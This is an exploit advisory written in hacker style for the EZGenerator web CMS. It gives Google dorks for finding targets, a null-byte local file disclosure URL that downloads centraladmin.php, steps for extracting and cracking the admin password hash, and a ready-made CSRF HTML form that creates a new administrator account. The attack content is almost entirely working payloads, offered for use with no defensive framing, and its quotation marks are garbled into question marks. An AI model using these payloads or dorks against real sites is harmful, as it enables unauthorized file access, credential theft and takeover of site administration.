EZGenerator ? Local File Disclosure/Admin Data/CSRF Vulnerability
=================================================================
####################################################################
.:. Author : AtT4CKxT3rR0r1ST
.:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com]
.:. Home : http://www.iphobos.com/blog/
.:. Dork : inurl:?utils.php?action=
inurl:?centraladmin.php?process=?
(gR34?$ T0 mY L0V3)
####################################################################
===[ Exploit ]===
Local File Disclosure:
=====================
www.site.com/utils.php?action=download&filename=file.php%00
Admin Data
===========
1-download centraladmin.php via exploit file discloure
[www.site.com/utils.php?action=download&filename=centraladmin.php%00]
2-when download file found it
$ca_admin_username=?admin?;
$ca_admin_pwd=?c89f9f4ef264e22001f9a9c3d72992ef?;
3-crack hash and join
4-admin panel:
www.site.com/centraladmin.php
CSRF [Add Admin]:
================
<form method=?POST? name=?form0? action=?
http://site/centraladmin.php?process=processuser?>
<input type=?hidden? name=?flag? value=?add?/>
<input type=?hidden? name=?old_username? value=?"/>
<input type=?hidden? name=?username? value=?admin?/>
<input type=?hidden? name=?name? value=?mm?/>
<input type=?hidden? name=?sirname? value=?hh?/>
<input type=?hidden? name=?email? value=?email@live.com?/>
<input type=?hidden? name=?password? value=?12121212?/>
<input type=?hidden? name=?repeatedpassword? value=?12121212?/>
<input type=?hidden? name=?select_all? value=?yes?/>
<input type=?hidden? name=?access_to_page47? value=?2?/>
<input type=?hidden? name=?save? value=?Save?/>
</form>
</body>
</html>
####################################################################
